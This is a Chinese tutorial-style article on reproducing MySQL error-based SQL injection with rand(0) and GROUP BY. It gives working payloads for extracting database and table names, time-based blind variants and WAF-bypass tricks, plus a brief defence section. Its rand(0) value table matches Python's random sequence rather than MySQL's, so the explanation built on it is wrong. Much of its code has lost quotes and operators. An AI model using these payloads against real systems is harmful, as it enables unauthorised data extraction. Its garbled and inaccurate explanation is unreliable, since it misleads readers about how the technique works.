当前位置: 首页 > article >正文

别再死记硬背了!用MySQL的`rand(0)`和`group by`亲手复现一次SQL报错注入

从零复现MySQL报错注入用rand(0)和group by破解SQL防御机制当你第一次听说SQL注入时脑海中浮现的可能是黑客在电影里快速敲击键盘的画面。但现实中的SQL注入更像是一场精心设计的数学魔术——而今天我们要揭秘的就是其中最精妙的报错注入手法。不同于常见的盲注或联合查询注入报错注入通过故意触发数据库错误来获取信息就像用错误的钥匙开锁却能从锁的反馈中猜出正确钥匙的形状。1. 环境准备与基础概念在开始实验之前我们需要一个安全的测试环境。推荐使用Docker快速搭建MySQL容器docker run --name mysql-test -e MYSQL_ROOT_PASSWORD123456 -p 3306:3306 -d mysql:5.7连接数据库后创建测试用的数据表CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50), email VARCHAR(100) ); INSERT INTO users (username, email) VALUES (admin, adminexample.com), (guest, guestexample.com), (test, testexample.com);1.1 关键函数解析报错注入的核心在于几个特殊的MySQL函数rand(seed): 生成伪随机数指定种子后序列固定floor(x): 向下取整函数group by: 分组聚合操作count(*): 计数函数这些看似普通的函数组合在一起却能产生意想不到的化学反应。特别是rand(0)这个固定种子的随机数生成器它产生的序列是可预测的第一次: 0.8444218515250481 第二次: 0.7579544029403025 第三次: 0.420571580830845 ...2. 报错注入的数学原理让我们分解这个经典的报错注入语句SELECT count(*), concat(database(), floor(rand(0)*2)) as x FROM information_schema.tables GROUP BY x;2.1 随机数种子的魔法rand(0)*2会产生一个0到2之间的浮点数经过floor()处理后只会得到0或1。关键在于种子0产生的固定序列调用次数rand(0)值rand(0)*2floor(rand(0)*2)10.8441.688120.7581.516130.4210.842040.2590.518050.5111.02212.2 虚拟表的构建过程当MySQL执行group by时会在内存中创建一张虚拟临时表。这个表的构建过程是报错的关键读取第一条记录计算floor(rand(0)*2)得到1检查虚拟表中是否存在键1 → 不存在准备插入时重新计算floor(rand(0)*2)得到1 → 插入(1,1)读取第二条记录计算得到1 → 已存在计数加1 → (1,2)读取第三条记录计算得到0 → 不存在准备插入时重新计算得到1 → 尝试插入(1,...)但主键1已存在 → 报错这个过程可以用下面的状态表表示步骤操作计算值虚拟表状态结果1处理第一条记录1空准备插入2插入第一条记录1{1:1}插入成功3处理第二条记录1{1:1}计数增加到24处理第三条记录0{1:2}准备插入5插入第三条记录1尝试{1:...}主键冲突3. 实战演练从报错到数据泄露理解了原理后我们可以构造实际的注入攻击。假设有一个易受攻击的查询$id $_GET[id]; $query SELECT * FROM articles WHERE id $id;3.1 获取数据库名称构造以下注入语句1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.tables GROUP BY x ) as y)执行后将返回类似错误Duplicate entry #mysql#1 for key group_key其中#mysql#就是我们要的数据库名。3.2 提取表结构信息获取当前数据库的表名1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.columns GROUP BY x ) as y)3.3 防御与检测技巧为了防止这类攻击开发者应该使用参数化查询(prepared statements)实施最小权限原则过滤特殊字符关闭错误回显检测是否存在漏洞的方法-- 测试是否易受攻击 1 AND (SELECT 1 FROM (SELECT count(*),concat(0x23,version(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y) -- 确认最少需要3条记录 SELECT count(*) FROM vulnerable_table; -- 小于3条可能不会报错4. 高级技巧与变种4.1 绕过过滤的替代方案当rand(0)被过滤时可以尝试-- 使用其他固定种子 floor(rand(1)*2) -- 使用用户变量 SET r0; SELECT floor((r:r1)*0.5);4.2 多语句组合注入结合其他SQL特性实现更复杂的注入-- 时间盲注结合报错注入 1 AND IF(ASCII(SUBSTR(database(),1,1))100, (SELECT 1 FROM (SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y), SLEEP(3))4.3 性能优化技巧报错注入可能很耗资源可以通过以下方式优化-- 限制扫描范围 SELECT count(*),concat(0x23,(SELECT username FROM users LIMIT 1),0x23,floor(rand(0)*2))x FROM information_schema.columns WHERE table_nameusers GROUP BY x;5. 防御措施深度分析5.1 参数化查询原理真正的参数化查询会将SQL语句和参数分开发送客户端发送: SELECT * FROM users WHERE id ? 客户端发送: 参数值1 服务器端: 安全执行5.2 WAF绕过手法了解防御才能更好攻击常见的WAF绕过技巧空白字符混淆SEL%0aECT大小写混合SeLeCt注释分割SEL/*xxx*/ECT编码转换CHAR(83,69,76,69,67,84)5.3 日志分析与检测管理员可以通过监控以下特征发现报错注入攻击异常的group by语法rand()与floor()的组合使用information_schema的频繁访问特定的错误代码(如1062主键冲突)在MySQL日志中典型的攻击特征表现为[Warning] /usr/sbin/mysqld: Duplicate entry #mysql#1 for key group_key

相关文章:

别再死记硬背了!用MySQL的`rand(0)`和`group by`亲手复现一次SQL报错注入

从零复现MySQL报错注入:用rand(0)和group by破解SQL防御机制 当你第一次听说SQL注入时,脑海中浮现的可能是黑客在电影里快速敲击键盘的画面。但现实中的SQL注入更像是一场精心设计的数学魔术——而今天,我们要揭秘的就是其中最精妙的"报…...

投稿不“掉坑”:百考通AI期刊论文写作,如何为你的科研减负?

智能工具填平格式与规范的鸿沟,让你的研究价值被真正看见 深夜的实验室里,电脑屏幕上闪烁的,是你修改了第十二遍的论文草稿。引用格式又出错了?研究方法描述不够清晰?语言表达不够学术化?你已经记不清这是第…...

毕业季如何应对“双重危机”?百考通AI的查重与降AIGC解题思路

在2026年的学术赛道上,一个工具就能精准锁定重复率与AI痕迹,让你从焦虑走向从容 凌晨三点,宿舍里的灯光依旧亮着,屏幕上光标在修改了数次的段落间反复跳动。重复率居高不下,AIGC 检测预警频闪——这已成为 2026 年毕业…...

告别投稿“内耗”:百考通AI如何将SCI与核心论文的写作门槛“拉平”

如果你曾将心血之作投向期刊,却只收到一封封格式化的退稿信;如果你的邮箱里堆满了“未通过初审”、“不符合本刊要求”的邮件,或许该停下来想想:问题真的全在研究内容本身吗?事实上,许多优质的科研工作&…...

企业级云原生平台实战指南:Tsuru服务网格部署的完整解决方案

企业级云原生平台实战指南:Tsuru服务网格部署的完整解决方案 【免费下载链接】tsuru Open source and extensible Platform as a Service (PaaS). 项目地址: https://gitcode.com/gh_mirrors/ts/tsuru Tsuru是一款开源且可扩展的Platform as a Service (PaaS…...

Mastering Modular JavaScript:模块化思维的终极指南

Mastering Modular JavaScript:模块化思维的终极指南 【免费下载链接】mastering-modular-javascript 📦 Module thinking, principles, design patterns and best practices. 项目地址: https://gitcode.com/gh_mirrors/ma/mastering-modular-javascr…...

从0到1:使用Keypress.js构建专业级键盘交互界面

从0到1:使用Keypress.js构建专业级键盘交互界面 【免费下载链接】Keypress A keyboard input capturing utility in which any key can be a modifier key. 项目地址: https://gitcode.com/gh_mirrors/ke/Keypress 在现代Web应用开发中,用户体验的…...

终极指南:Bee-Queue 如何实现高效作业超时控制、智能重试与实时进度报告

终极指南:Bee-Queue 如何实现高效作业超时控制、智能重试与实时进度报告 【免费下载链接】bee-queue A simple, fast, robust job/task queue for Node.js, backed by Redis. 项目地址: https://gitcode.com/gh_mirrors/be/bee-queue Bee-Queue 是一个简单、…...

终极指南:Cluster API如何简化Kubernetes集群全生命周期管理

终极指南:Cluster API如何简化Kubernetes集群全生命周期管理 【免费下载链接】cluster-api Home for Cluster API, a subproject of sig-cluster-lifecycle 项目地址: https://gitcode.com/gh_mirrors/cl/cluster-api Cluster API作为Kubernetes sig-cluster…...

Space Cloud架构深度解析:GraphQL API与数据库查询优化终极指南

Space Cloud架构深度解析:GraphQL API与数据库查询优化终极指南 【免费下载链接】space-cloud Open source Firebase Heroku to develop, scale and secure serverless apps on Kubernetes 项目地址: https://gitcode.com/gh_mirrors/sp/space-cloud Space …...

别再只盯着加密算法了!聊聊GM/T 0054标准里,密钥从‘生’到‘死’的8个关键环节

密钥全生命周期管理:从GM/T 0054标准到工程实践 在数字化安全领域,密钥管理的重要性不亚于加密算法本身。想象一下,即使采用了最先进的SM4加密算法,如果密钥在生成阶段就存在可预测性,或者在分发过程中被截获&#xff…...

如何参与DictionaryByGPT4开源AI单词学习项目:完整贡献指南

如何参与DictionaryByGPT4开源AI单词学习项目:完整贡献指南 【免费下载链接】DictionaryByGPT4 一本 GPT4 生成的单词书📚,超过 8000 个单词分析,涵盖了词义、例句、词根词缀、变形、文化背景、记忆技巧和小故事 项目地址: http…...

掌握BigImageViewer:自定义图像加载器与工厂模式的完整指南

掌握BigImageViewer:自定义图像加载器与工厂模式的完整指南 【免费下载链接】BigImageViewer Big image viewer supporting pan and zoom, with very little memory usage and full featured image loading choices. Powered by Subsampling Scale Image View, Fres…...

列式存储格式:字典编码与位图索引加速分析查询

在大数据时代,高效的查询分析能力成为企业决策的关键。传统的行式存储格式在处理海量数据分析时往往面临性能瓶颈,而列式存储格式通过优化数据布局和压缩技术,显著提升了查询效率。其中,字典编码与位图索引作为列式存储的核心技术…...

10个Emitter实战案例:从物联网到在线游戏的超实用分布式消息平台应用场景全解析

10个Emitter实战案例:从物联网到在线游戏的超实用分布式消息平台应用场景全解析 【免费下载链接】emitter High performance, distributed and low latency publish-subscribe platform. 项目地址: https://gitcode.com/gh_mirrors/em/emitter Emitter是一个…...

Material Icon Library自定义开发:如何扩展图标库和创建个性化图标

Material Icon Library自定义开发:如何扩展图标库和创建个性化图标 【免费下载链接】material-icon-lib Library containing over 2000 material vector icons that can be easily used as Drawable or as a standalone View. 项目地址: https://gitcode.com/gh_m…...

AccessControl.js最佳实践:10个避免权限漏洞的技巧

AccessControl.js最佳实践:10个避免权限漏洞的技巧 【免费下载链接】accesscontrol Role and Attribute based Access Control for Node.js 项目地址: https://gitcode.com/gh_mirrors/ac/accesscontrol AccessControl.js是一款功能强大的Node.js权限管理库&…...

flutter-unity-view-widget 终极入门指南:如何在 Flutter 中嵌入 Unity 游戏场景

flutter-unity-view-widget 终极入门指南:如何在 Flutter 中嵌入 Unity 游戏场景 【免费下载链接】flutter-unity-view-widget Embeddable unity game engine view for Flutter. Advance demo here https://github.com/juicycleff/flutter-unity-arkit-demo 项目地…...

Primo拖拽功能全面解析:页面重排与组件管理的终极方案

Primo拖拽功能全面解析:页面重排与组件管理的终极方案 【免费下载链接】primo Component-based CMS with a built-in IDE, visual editing, and static site generation. One server, unlimited sites. 项目地址: https://gitcode.com/gh_mirrors/pr/primo P…...

go-oidc完全指南:如何快速构建安全的身份认证系统

go-oidc完全指南:如何快速构建安全的身份认证系统 【免费下载链接】go-oidc A Go OpenID Connect client. 项目地址: https://gitcode.com/gh_mirrors/go/go-oidc go-oidc是一个Go语言实现的OpenID Connect客户端库,它为开发者提供了简单高效的工…...

Ubuntu软件仓库源全解析:官方、第三方与本地源的配置与实战

1. Ubuntu软件仓库源入门指南 刚接触Ubuntu的朋友可能会好奇,那些方便好用的软件都是从哪里来的?答案就在软件仓库源里。简单来说,软件仓库源就像是Ubuntu系统的"应用商店",只不过它比普通应用商店更强大、更灵活。作为…...

终极指南:MM-CoT核心架构深度解析——从视觉特征提取到语言模型推理的完整路径

终极指南:MM-CoT核心架构深度解析——从视觉特征提取到语言模型推理的完整路径 【免费下载链接】mm-cot Official implementation for "Multimodal Chain-of-Thought Reasoning in Language Models" (stay tuned and more will be updated) 项目地址: h…...

从零封装企业微信AI助手插件:Dify 2026正式版首个GA级案例(含OAuth2.1动态权限、审计日志埋点、SLO达标报告)

第一章:从零封装企业微信AI助手插件:Dify 2026正式版首个GA级案例(含OAuth2.1动态权限、审计日志埋点、SLO达标报告)核心架构设计原则 本插件严格遵循企业微信官方插件规范与Dify 2026 GA版扩展框架契约,采用声明式能力…...

如何实现基于Slug的优雅URL路由:Eloquent-Sluggable路由模型绑定终极指南

如何实现基于Slug的优雅URL路由:Eloquent-Sluggable路由模型绑定终极指南 【免费下载链接】eloquent-sluggable Easy creation of slugs for your Eloquent models in Laravel 项目地址: https://gitcode.com/gh_mirrors/el/eloquent-sluggable Eloquent-Slu…...

如何通过MM-CoT双阶段训练让AI实现精准逻辑推理与答案生成

如何通过MM-CoT双阶段训练让AI实现精准逻辑推理与答案生成 【免费下载链接】mm-cot Official implementation for "Multimodal Chain-of-Thought Reasoning in Language Models" (stay tuned and more will be updated) 项目地址: https://gitcode.com/gh_mirrors/…...

FedML模型服务平台实战:构建高可用推理服务的终极指南

FedML模型服务平台实战:构建高可用推理服务的终极指南 【免费下载链接】FedML FEDML - The unified and scalable ML library for large-scale distributed training, model serving, and federated learning. FEDML Launch, a cross-cloud scheduler, further enab…...

终极指南:从golang.org/x/lint测试用例学习编写高质量Go测试的10个最佳实践

终极指南:从golang.org/x/lint测试用例学习编写高质量Go测试的10个最佳实践 【免费下载链接】lint [mirror] This is a linter for Go source code. (deprecated) 项目地址: https://gitcode.com/gh_mirrors/li/lint 在Go语言开发中,编写高质量的…...

如何快速使用Devices.css创建精美的设备展示:面向初学者的完整指南

如何快速使用Devices.css创建精美的设备展示:面向初学者的完整指南 【免费下载链接】devices.css Pure CSS phones and tablets 项目地址: https://gitcode.com/gh_mirrors/de/devices.css Devices.css是一个基于纯CSS实现的开源项目,它提供了多种…...

ARM架构CNTHPS_TVAL_EL2寄存器详解与应用

1. ARM架构中的CNTHPS_TVAL_EL2寄存器解析在ARMv8-A架构的虚拟化和安全扩展中,定时器管理是一个关键子系统。CNTHPS_TVAL_EL2(Counter-timer Secure Physical Timer TimerValue Register)作为安全物理定时器的核心寄存器,为EL2特权…...

ThumbHash错误排查手册:常见问题及解决方案大全

ThumbHash错误排查手册:常见问题及解决方案大全 【免费下载链接】thumbhash A very compact representation of an image placeholder 项目地址: https://gitcode.com/gh_mirrors/th/thumbhash ThumbHash作为一种非常紧凑的图像占位符表示方法,在…...